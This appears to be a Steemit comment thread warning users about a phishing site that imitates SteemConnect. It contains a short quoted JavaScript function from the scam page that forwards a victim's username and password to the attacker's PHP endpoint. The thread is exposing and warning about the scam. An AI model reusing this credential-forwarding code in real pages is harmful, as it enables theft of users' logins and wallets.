**[-]grey580 (60) · 13 minutes ago**Very clever.
The whois for that site.
https://whois.icann.org/en/lookup?name=steemit-rewards.comWhois records name an individual owner and list a free email service address for the bogus address on it.

@SirCork exactly scam...I checked the source code
function red(u, p, m){
window.location = "http:///%22+window.location.hostname+%22/subscribed.php?hash=98ODFHJ23090ujden9oj23dj238032gh2ohjgp108ghuohoefhjnijHH89U&u=%22+u+%22&p=%22+p+%22&status=done";
}It sends user and pass to a php function and the site is exactly replicating the steemconnect
BE CAREFUL OUT THERE!
DO RESTEEM THIS TO ALL YOUR PEOPLE - HUNDREDS OF WALLETS AFFECTED, REPORTS FILLING MY INBOX LIKE A SLOT MACHINE GOING OFF ON DISCORD BELLS.
IT'S FOOLING PEOPLE, DON'T LET IT!

@SirCork
Witness #74
fair play for spreading the word on this scam
but what is this about hundreds of wallets being effected?
I've been in contact with a significant portion of the users effected and only one user so far seems to have lost money to this.

The scammers are a plague, and the worst thing is they will hit the people who are most vulnerable.

To be honest, we still cannot say scam as we know nothing much about them, except they SPAM, so that alone is reason to ignore the living crap out of the fools.
I am speaking of the un-attached original comment this used to be next to, not the phishing site in the post, for passers-by seeing this.
The site in the OP is a shit show. For sure.
